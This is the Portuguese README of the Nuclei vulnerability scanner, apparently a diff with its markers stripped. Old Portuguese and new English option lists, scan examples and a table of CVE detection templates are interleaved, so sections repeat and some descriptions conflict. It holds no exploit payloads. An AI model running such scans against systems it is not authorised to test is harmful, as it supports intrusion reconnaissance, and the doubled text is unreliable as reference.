-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int número máximo de solicitações a serem enviadas por segundo (padrão 150)
|
||||
-rlm, -rate-limit-minute int número máximo de solicitações a serem enviadas por minuto
|
||||
-bs, -bulk-size int número máximo de hosts a serem analisados em paralelo por template (padrão 25)
|
||||
-c, -concurrency int número máximo de templates a serem executados em paralelo (padrão 25)
|
||||
-hbs, -headless-bulk-size int número máximo de hosts headless a serem analisados em paralelo por template (padrão 10)
|
||||
-headc, -headless-concurrency int número máximo de templates headless a serem executados em paralelo (padrão 10)
|
||||
-jsc, -js-concurrency int número máximo de ambientes de execução de JavaScript a serem executados em paralelo (padrão 120)
|
||||
-pc, -payload-concurrency int concorrência máxima de payload para cada template (padrão 25)
|
||||
-tlc, -template-loading-concurrency int número máximo de operações de carregamento de templates concorrentes (padrão 50)
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int tempo limite em segundos (padrão 10)
|
||||
-retries int número de tentativas para solicitações com falha (padrão 1)
|
||||
-ldp, -leave-default-ports manter as portas HTTP/HTTPS padrão (exemplo: host:80, host:443)
|
||||
-mhe, -max-host-error int número máximo de erros para um host antes de ignorá-lo no scan (padrão 30)
|
||||
-te, -track-error string[] adiciona o erro especificado à lista de rastreamento de erros máximos por host (standard, file)
|
||||
-nmhe, -no-mhe desativa a exclusão de hosts do scan com base em erros
|
||||
-project utiliza uma pasta de projeto para evitar enviar a mesma solicitação várias vezes
|
||||
-project-path string define um caminho específico para o projeto (padrão "/tmp")
|
||||
-spm, -stop-at-first-match interrompe o processamento de solicitações HTTP após a primeira correspondência (pode quebrar a lógica de templates/fluxos de trabalho)
|
||||
-stream modo de transmissão - começa a trabalhar sem ordenar a entrada
|
||||
-ss, -scan-strategy value estratégia a ser usada durante o scan (auto/host-spray/template-spray) (padrão auto)
|
||||
-irt, -input-read-timeout value tempo limite para leitura da entrada (padrão 3m0s)
|
||||
-nh, -no-httpx desativa a análise httpx para entradas que não sejam URLs
|
||||
-no-stdin desativa o processamento de entrada padrão
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless habilita templates que requerem suporte para navegadores sem interface gráfica (headless browser) (o usuário root no Linux desativará o sandbox)
|
||||
-page-timeout int segundos para esperar cada página no modo headless (padrão 20)
|
||||
-sb, -show-browser exibe o navegador na tela ao executar templates no modo headless
|
||||
-ho, -headless-options string[] inicia o Chrome no modo headless com opções adicionais
|
||||
-sc, -system-chrome utiliza o navegador Chrome instalado localmente em vez do instalado pelo nuclei
|
||||
-lha, -list-headless-action lista ações disponíveis para o modo headless
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug exibe todas as solicitações e respostas
|
||||
-dreq, -debug-req exibe todas as solicitações enviadas
|
||||
-dresp, -debug-resp exibe todas as respostas recebidas
|
||||
-p, -proxy string[] lista de proxies HTTP/SOCKS5 a serem usados (separados por vírgulas ou arquivo de entrada)
|
||||
-pi, -proxy-internal proxy para todas as solicitações internas
|
||||
-ldf, -list-dsl-function lista todas as assinaturas de funções DSL suportadas
|
||||
-tlog, -trace-log string arquivo para gravar o log de rastreamento de solicitações enviadas
|
||||
-elog, -error-log string arquivo para gravar o log de erros de solicitações enviadas
|
||||
-version exibe a versão do nuclei
|
||||
-hm, -hang-monitor ativa o monitoramento de travamentos do nuclei
|
||||
-v, -verbose exibe saída detalhada
|
||||
-profile-mem string arquivo opcional para despejo de memória do nuclei
|
||||
-vv exibe os templates carregados para o scan
|
||||
-svd, -show-var-dump exibe o dump de variáveis para depuração
|
||||
-ep, -enable-pprof ativa o servidor de depuração pprof
|
||||
-tv, -templates-version exibe a versão dos templates do nuclei (nuclei-templates) instalados
|
||||
-hc, -health-check executa verificações de diagnóstico
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update atualiza o mecanismo do nuclei para a última versão lançada
|
||||
-ut, -update-templates atualiza os nuclei-templates para a última versão lançada
|
||||
-ud, -update-template-dir string diretório personalizado para instalar/atualizar os nuclei-templates
|
||||
-duc, -disable-update-check desativa a verificação automática de atualizações do nuclei/templates
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats exibe estatísticas sobre o scan em execução
|
||||
-sj, -stats-json exibe estatísticas no formato JSONL(ines)
|
||||
-si, -stats-interval int número de segundos a esperar entre as atualizações de estatísticas (padrão 5)
|
||||
-mp, -metrics-port int porta para expor métricas do nuclei (padrão 9092)
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth configura a chave de API do cloud do ProjectDiscovery (pdcp)
|
||||
-cup, -cloud-upload faz upload dos resultados do scan para o dashboard do pdcp
|
||||
-sid, -scan-id string faz upload dos resultados do scan para o ID de scan fornecido
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] caminho para o arquivo de configuração contendo os secrets para o scan autenticado do nuclei
|
||||
-ps, -prefetch-secrets pré-carrega os secrets do arquivo de secrets
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
# NOTE: Headers in secrets files preserve exact casing (useful for case-sensitive APIs)
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Executar nuclei em um único host:
|
||||
$ nuclei -target example.com
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Executar nuclei com diretórios específicos de templates:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Executar nuclei contra uma lista de hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Executar nuclei com saída JSON:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Executar nuclei com saídas Markdown organizadas (com variáveis de ambiente):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
Documentação adicional disponível em: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Executando Nuclei
|
||||
Documentação adicional disponível em: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
Consulte https://docs.projectdiscovery.io/tools/nuclei/running para obter detalhes sobre como executar o Nuclei.
|
||||
</details>
|
||||
|
||||
### Uso de Nuclei com código Go
|
||||
### Scan em alvo único
|
||||
|
||||
O guia completo sobre como usar o Nuclei como biblioteca/SDK está disponível em [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).
|
||||
Para realizar um scan rápido em uma aplicação web:
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com
|
||||
```
|
||||
|
||||
### Scan em múltiplos alvos
|
||||
|
||||
O Nuclei pode lidar com scans em massa fornecendo uma lista de alvos. Você pode usar um arquivo contendo múltiplas URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
|
||||
### Scan de rede
|
||||
|
||||
Isso fará scan de toda a subrede em busca de problemas relacionados à rede, como portas abertas ou serviços mal configurados.
|
||||
|
||||
```sh
|
||||
nuclei -target 192.168.1.0/24
|
||||
```
|
||||
|
||||
### Scan com seu template personalizado
|
||||
|
||||
Para escrever e usar seu próprio template, crie um arquivo `.yaml` com regras específicas e use-o como mostrado abaixo.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t /path/to/your-template.yaml
|
||||
```
|
||||
|
||||
### Conectar o Nuclei ao ProjectDiscovery
|
||||
|
||||
Você pode executar os scans na sua máquina e enviar os resultados para a plataforma na nuvem para análise e remediação adicionais.
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com -dashboard
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Este recurso é totalmente gratuito e não requer assinatura. Para um guia detalhado, consulte a [**`documentação`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Templates do Nuclei, Comunidade e Recompensas 💎
|
||||
Os [**templates do Nuclei**](https://github.com/projectdiscovery/nuclei-templates) são baseados no conceito de arquivos de template em YAML que definem como as requisições serão enviadas e processadas. Isso fornece capacidades de extensibilidade simples ao nuclei. Os templates são escritos em YAML, que especifica um formato simples e legível por humanos para definir rapidamente o processo de execução.
|
||||
|
||||
**Experimente online com nosso Editor de Templates do Nuclei gratuito e com IA** [**`clicando aqui`**](https://cloud.projectdiscovery.io/templates).
|
||||
|
||||
Os Templates do Nuclei oferecem uma forma simplificada de identificar e comunicar vulnerabilidades, combinando detalhes essenciais como classificações de severidade e métodos de detecção. Esta ferramenta open-source desenvolvida pela comunidade acelera a resposta a ameaças e é amplamente reconhecida no mundo da cibersegurança. Os templates do Nuclei recebem contribuições ativas de milhares de pesquisadores de segurança no mundo todo. Mantemos dois programas para nossos contribuidores: [**`Pioneers`**](https://projectdiscovery.io/pioneers) e [**`💎 bounties`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).
|
||||
|
||||
|
||||
### Recursos
|
||||
|
||||
Você pode acessar a documentação principal do Nuclei em https://docs.projectdiscovery.io/tools/nuclei/ e obter mais informações sobre o Nuclei na nuvem com a [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).
|
||||
|
||||
Consulte https://docs.projectdiscovery.io/tools/nuclei/resources para acessaar mais recursos e vídeos sobre o Nuclei!
|
||||
|
||||
### Créditos
|
||||
|
||||
Obrigado a todos os incríveis [contribuidores da comunidade que enviaram em PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) e mantêm este projeto atualizado. :heart:
|
||||
|
||||
Se você tem uma ideia ou algum tipo de melhoria, sinta-se à vontade para contribuir e participar do projeto. Envie seu PR!
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
<p align="left">
|
||||
<a href="/static/nuclei-templates-teamcity.png" target="_blank"><img src="/static/nuclei-templates-teamcity.png" width="1200px" alt="Exemplo de template Nuclei para detectar configuração incorreta no TeamCity" /></a>
|
||||
</p>
|
||||
|
||||
#### Exemplos
|
||||
|
||||
Confira também os seguintes projetos de código aberto que podem se adequar ao seu fluxo de trabalho:
|
||||
Visite [**nossa documentação**](https://docs.projectdiscovery.io/templates/introduction) para casos de uso e ideias.
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
| Caso de uso | Template do Nuclei |
|
||||
| :----------------------------------------- | :------------------------------------------------- |
|
||||
| Detectar CVEs conhecidas | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)** |
|
||||
| Identificar vulnerabilidades Out-of-Band | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)** |
|
||||
| Detecção de SQL Injection | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)** |
|
||||
| Cross-Site Scripting (XSS) | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)** |
|
||||
| Senhas padrão ou fracas | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)** |
|
||||
| Arquivos secretos ou exposição de dados | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)** |
|
||||
| Identificar redirecionamentos abertos | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)** |
|
||||
| Detectar tomadas de subdomínio | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)** |
|
||||
| Configurações incorretas de segurança | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)** |
|
||||
| Configurações SSL/TLS fracas | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)** |
|
||||
| Serviços de nuvem mal configurados | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)** |
|
||||
| Vulnerabilidades de execução remota de código | **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)** |
|
||||
| Ataques de directory traversal | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)** |
|
||||
| Vulnerabilidades de inclusão de arquivos | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)** |
|
||||
|
||||
### Licença
|
||||
|
||||
O Nuclei é distribuído sob a [Licença MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://docs.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
## Nossa Missão
|
||||
|
||||
Os scanners de vulnerabilidades tradicionais foram construídos há décadas. Eles são de código fechado, incrivelmente lentos e orientados por fornecedores. Os atacantes de hoje exploram em massa CVEs recém-publicadas pela internet em poucos dias, ao contrário dos anos que isso costumava levar. Essa mudança exige uma abordagem completamente diferente para enfrentar exploits em alta na internet.
|
||||
|
||||
Construímos o Nuclei para resolver esse desafio. Tornamos todo o framework do mecanismo de scan aberto e personalizável — permitindo que a comunidade global de segurança colabore e enfrente os vetores de ataque e vulnerabilidades em alta na internet. O Nuclei agora é usado e recebe contribuições de empresas Fortune 500, agências governamentais e universidades.
|
||||
|
||||
Você pode participar contribuindo com nosso código, com a [**`biblioteca de templates`**](https://github.com/projectdiscovery/nuclei-templates) ou [**`juntando-se ao nosso time`**](https://projectdiscovery.io/).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Contribuidores :heart:
|
||||
|
||||
Obrigado a todos os incríveis [**`contribuidores da comunidade que enviaram PRs`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) e mantêm este projeto atualizado. :heart:
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Ice3man543"><img src="https://avatars.githubusercontent.com/u/22318055?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/apps/dependabot"><img src="https://avatars.githubusercontent.com/in/29110?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehsandeep"><img src="https://avatars.githubusercontent.com/u/8293321?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Mzack9999"><img src="https://avatars.githubusercontent.com/u/13421144?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/forgedhallpass"><img src="https://avatars.githubusercontent.com/u/13679401?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tarunKoyalwar"><img src="https://avatars.githubusercontent.com/u/45962551?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/manuelbua"><img src="https://avatars.githubusercontent.com/u/819314?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/actions-user"><img src="https://avatars.githubusercontent.com/u/65916846?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dogancanbakir"><img src="https://avatars.githubusercontent.com/u/65292895?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parrasajad"><img src="https://avatars.githubusercontent.com/u/16835787?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vzamanillo"><img src="https://avatars.githubusercontent.com/u/10209695?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShubhamRasal"><img src="https://avatars.githubusercontent.com/u/45902122?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/RamanaReddy0M"><img src="https://avatars.githubusercontent.com/u/90540245?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LuitelSamikshya"><img src="https://avatars.githubusercontent.com/u/85764322?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kchason"><img src="https://avatars.githubusercontent.com/u/1111099?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/pmareke"><img src="https://avatars.githubusercontent.com/u/3502075?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dwisiswant0"><img src="https://avatars.githubusercontent.com/u/25837540?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xm1k3"><img src="https://avatars.githubusercontent.com/u/73166077?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/5amu"><img src="https://avatars.githubusercontent.com/u/39925709?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehrishirajsharma"><img src="https://avatars.githubusercontent.com/u/35542790?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zerodivisi0n"><img src="https://avatars.githubusercontent.com/u/687694?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/geeknik"><img src="https://avatars.githubusercontent.com/u/466878?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/TerminalFi"><img src="https://avatars.githubusercontent.com/u/32599364?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KaulSe"><img src="https://avatars.githubusercontent.com/u/45340011?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sullo"><img src="https://avatars.githubusercontent.com/u/1474884?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wdahlenburg"><img src="https://avatars.githubusercontent.com/u/4451504?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ghost"><img src="https://avatars.githubusercontent.com/u/10137?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Nishan8583"><img src="https://avatars.githubusercontent.com/u/20457968?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jdk2588"><img src="https://avatars.githubusercontent.com/u/985054?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nothinux"><img src="https://avatars.githubusercontent.com/u/17433202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CodFrm"><img src="https://avatars.githubusercontent.com/u/22783163?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CasperGN"><img src="https://avatars.githubusercontent.com/u/5549643?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ankh2054"><img src="https://avatars.githubusercontent.com/u/6784287?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revblock"><img src="https://avatars.githubusercontent.com/u/72813848?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/cn-kali-team"><img src="https://avatars.githubusercontent.com/u/30642514?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/EndPositive"><img src="https://avatars.githubusercontent.com/u/25148195?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jimen0"><img src="https://avatars.githubusercontent.com/u/6826244?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xstevens"><img src="https://avatars.githubusercontent.com/u/69216?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mjkim610"><img src="https://avatars.githubusercontent.com/u/17107206?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/organiccrap"><img src="https://avatars.githubusercontent.com/u/376317?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lu4nx"><img src="https://avatars.githubusercontent.com/u/3006875?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/souvikhazra1"><img src="https://avatars.githubusercontent.com/u/13842393?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tovask"><img src="https://avatars.githubusercontent.com/u/22732484?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Marmelatze"><img src="https://avatars.githubusercontent.com/u/199681?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/doug-threatmate"><img src="https://avatars.githubusercontent.com/u/127235272?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/yabeow"><img src="https://avatars.githubusercontent.com/u/21117771?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/olearycrew"><img src="https://avatars.githubusercontent.com/u/6044920?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gano3s"><img src="https://avatars.githubusercontent.com/u/2551605?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alizmhdi"><img src="https://avatars.githubusercontent.com/u/79321261?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hackerpain"><img src="https://avatars.githubusercontent.com/u/61242234?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lc"><img src="https://avatars.githubusercontent.com/u/19563282?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/savushkin-yauheni"><img src="https://avatars.githubusercontent.com/u/5173352?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/74616e696d"><img src="https://avatars.githubusercontent.com/u/97121933?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/edoardottt"><img src="https://avatars.githubusercontent.com/u/35783570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zt2"><img src="https://avatars.githubusercontent.com/u/7644862?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/moonD4rk"><img src="https://avatars.githubusercontent.com/u/24284231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wk8"><img src="https://avatars.githubusercontent.com/u/2536231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mikerott"><img src="https://avatars.githubusercontent.com/u/857712?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/toufik-airane"><img src="https://avatars.githubusercontent.com/u/5610269?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hktalent"><img src="https://avatars.githubusercontent.com/u/18223385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jturner"><img src="https://avatars.githubusercontent.com/u/1825202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gaby"><img src="https://avatars.githubusercontent.com/u/835733?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vavkamil"><img src="https://avatars.githubusercontent.com/u/47953210?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
